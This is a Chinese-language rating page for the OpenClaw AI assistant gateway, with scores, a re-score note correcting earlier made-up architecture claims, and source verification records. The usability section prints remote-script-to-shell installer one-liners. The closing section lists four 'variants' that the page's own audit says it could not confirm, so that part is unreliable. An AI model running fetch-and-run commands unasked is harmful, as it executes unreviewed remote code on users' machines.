- NVD CVE-2026-28363:https://nvd.nist.gov/vuln/detail/CVE-2026-28363 — 官方漏洞数据库
- Anthropic 服务条款 2026-02 更新:https://www.anthropic.com/legal/terms — 第三方 Agent 工具限制条款
- ClawHub 技能市场:https://clawhub.com
- 工信部 NVDB 安全预警:https://www.nvdb.org — 国内安全机构公告
- Peter Steinberger 个人博客:https://steipete.me — OpenClaw 作者关于 CVE 的技术解读
- 腾讯云 OpenClaw 实战教程:https://cloud.tencent.com/developer/article/openclaw — 国内飞书/钉钉接入示例
- 掘金 OpenClaw vs Hermes 对比:https://juejin.cn/post/openclaw-vs-hermes
📊 评分与标签
核验口径:已按现行口径通过,待按新证据契约复核
评分说明
评分依据可追溯至公开数据源(均为 2026-10-02 实测可达的官方一手材料)。
总分 8.8/10 · P_优选
⚠️ 重评说明:本条原评分 9.1 建立在「Orchestrator → Specialist → Tool 三层编排架构 + YAML 任务流水线 + Review Loop」的描述之上;经独立审核员核验,该架构与三步上手流程在官方材料中不存在(官方 README 全文 113,114 字符中 orchestrator / specialist / review_loop / openclaw.config / tasks/ 均 0 次)。本次已依据官方一手材料重新评估,如实下调至 8.8。
📊 可观测社区指标(采集日期:2026-10-02)
- ✅ GitHub 仓库:openclaw/openclaw —— 🌟 391,167 Stars · 🍴 82,239 Forks · Open Issues 9,146(GitHub API 实测;created_at 2025-11-24,pushed_at 2026-10-02,当日仍有提交)
- ✅ npm 包:openclaw —— 现行版本 2026.9.7,bin 名
openclaw。此前「npm 包 @openclaw/core 未找到、仅支持 GitHub 源码安装」的说法有误,正确包名为openclaw - ✅ 官方文档站:docs.openclaw.ai —— HTTP 200 实测可达
- ✅ 技能/插件分发渠道:clawhub.ai —— HTTP 200 实测可达
- ✅ 许可证:MIT(仓库 LICENSE「MIT License, Copyright (c) 2026 OpenClaw Foundation」;npm license 字段同为 MIT)
🤖 Agent 能力 1.7/2.0
- OpenClaw 是 Agent-native 运行时,具备工具调用、会话(session)、记忆、上下文管理、Skills 按需加载、多 Agent 路由(会话隔离)、MCP 客户端(
openclaw mcp add)与服务器(openclaw mcp serve)双向桥接等能力,均在官方文档坐实。 - 下调说明:原 1.9 中的「三层编排 + 结果合并 + Review Loop」是虚构架构,官方 README 无 orchestrator/specialist/review_loop 字样;OpenClaw 是助手网关而非任务编排框架,无 YAML 任务流水线,故 Agent 能力维度下调至 1.7。
🖐️ 易用性 1.4/1.5
- 真实上手路径:一行安装脚本(macOS/Linux/WSL2
curl -fsSL https://openclaw.ai/install.sh | bash,Windowsiwr -useb https://openclaw.ai/install.ps1 | iex)+ 自动引导向导(检测并复用 Claude Code / Codex 登录或 API Key,验证后直接开仪表盘),CLI / TUI / Control UI 三入口,JSON5 配置有默认值,官方宣称约 5 分钟上手。 - 说明:原 1.3 描述的「npm install → npx openclaw init → npx openclaw run tasks/x.yaml」三条命令是虚构的 CLI 流程;真实流程更简单,但要求较新的 Node 24.16+/26.1+ 对部分用户是门槛,综合微调至 1.4。
🔌 生态集成 1.8/2.0
- 20+ 聊天渠道(Discord、Telegram、Slack、WhatsApp、Signal、iMessage、Teams、Google Chat、Matrix、Zalo 等)+ channel 插件;macOS/iOS/Android/Windows/Linux 原生应用;MCP 客户端/服务器;ClawHub 技能与插件市场;模型 Provider 可插拔(托管 + 本地);插件 SDK 可写 channel/provider/tool 三类插件。
- 下调说明:原 1.9 中「四个官方认证变种(KimiClaw/MaxClaw/CoPaw/ArkClaw)」无法在官方材料坐实(README 与文档站均无这些名称,github.com/moonshotai/kimiclaw 返回 404),相关生态加成需扣除。
👥 社区支持 1.5/1.5
- GitHub 391,167 Stars · 82,239 Forks · 9,146 Open Issues(2026-10-02 实测),pushed_at 为当日;Discord 社区 discord.gg/clawd;由 OpenClaw Foundation(501(c)(3))治理,捐助方含 Amazon、OpenAI、Red Hat 等。
- 说明:原 1.3 中「四个官方变种带流量」的证据不成立,但社区硬指标(Stars/Forks/活跃度/基金会治理/顶级捐助方)本身已属顶级,删除虚构变种不构成下调理由,维持 1.5。
💡 创新程度 1.2/1.5
- 真实创新点:「受信任 Gateway + 不受信任执行 + 确定性策略」的架构定位、把多聊天渠道统一到一个自托管网关、MCP 双向桥接(客户端 + 服务器)、Skills 按需加载、多 Agent 路由,在个人 AI 助手领域有原创性。
- 下调说明:原 1.4 把「三层编排 + Skill 热加载 + MCP 原生 = 多 Agent 应用工厂」这一虚构架构当成核心创新;真实创新点不同,且「多 Agent 应用工厂」定位不成立,故下调至 1.2。
🔒 稳定性 1.2/1.5
- MIT 协议,CI 徽标,由基金会签名发布;npm 版本 2026.9.7(CalVer,按月迭代),社区规模大、迭代快。
- 下调说明:原 1.3 中「四个变种 = 多方压力测试」的证据不成立;且项目年轻(created_at 2025-11-24,约 10 个月),快速迭代意味着生产使用需锁版本,故下调至 1.2。
评分依据可追溯至公开来源,每项分数均有明确理由和数据支撑。
🏷️ 标签说明
- 开源免费:MIT 协议,由 OpenClaw Foundation(501(c)(3))维护,无付费层、无托管服务、无代币。来源:openclaw/openclaw(LICENSE)
- 多Agent:具备「多 Agent 路由 / 会话隔离」(按 Agent / 工作区 / 发送者隔离会话),但注意并非任务编排型多 Agent。来源:Multi-agent
- MCP:原生 MCP 客户端(
openclaw mcp add连接 stdio / Streamable HTTP 服务器)与服务器(openclaw mcp serve反向暴露)双向支持。来源:MCP - Skill系统:Skills 是「教会助手可复用流程」的机制,按需加载,经 ClawHub 分发。来源:Skills、clawhub.ai
📋 来源与核实记录(核验日期 2026-10-02)
- ✅ HTTP 200:github.com/openclaw/openclaw(README 全文、LICENSE、仓库元信息)
- ✅ HTTP 200:docs.openclaw.ai 及其 /start/getting-started、/concepts/architecture、/concepts/multi-agent、/tools/mcp、/tools/skills、/plugins/building-plugins、/channels、/concepts/model-providers、/gateway/telemetry、/gateway/configuration 等子页
- ✅ HTTP 200:registry.npmjs.org/openclaw/latest(name=openclaw,version=2026.9.7,bin=openclaw)
- ✅ HTTP 200:clawhub.ai、openclaw.ai、openclaw.org、discord.gg/clawd
- ❌ 已删除死链:openclaw.ai/skills(404)、openclaw.ai/community(404)、github.com/moonshotai/kimiclaw(404)
- ⚠️ 未写入的内容:官方材料中不存在「KimiClaw / MaxClaw / ArkClaw / CoPaw 四个官方变种」及「Orchestrator/Specialist/Tool 三层编排」「YAML 任务编排」「Review Loop」「@openclaw/core npm 包」等描述,本次一律不采信、不写入
🌱 变种与衍生
基于 OpenClaw 的定制版本与社区分支
KimiClaw ↗
月之暗面基于OpenClaw的定制版,集成Kimi大模型
www.kimi.com/botMaxClaw ↗
MiniMax官方云端AI Agent,基于OpenClaw框架,搭载MiniMax M2.7模型,一键部署无需服务器
agent.minimaxi.com/max-clawCoPaw ↗
阿里通义实验室开源的个人AI助手,兼容MCP协议和ClawHub技能,支持本地模型运行
copaw.agentscope.ioArkClaw ↗
火山引擎云端SaaS版OpenClaw,深度集成飞书生态,开箱即用零配置
www.volcengine.com/product/arkclaw同分类推荐
开源框架 分类下的其他 Agent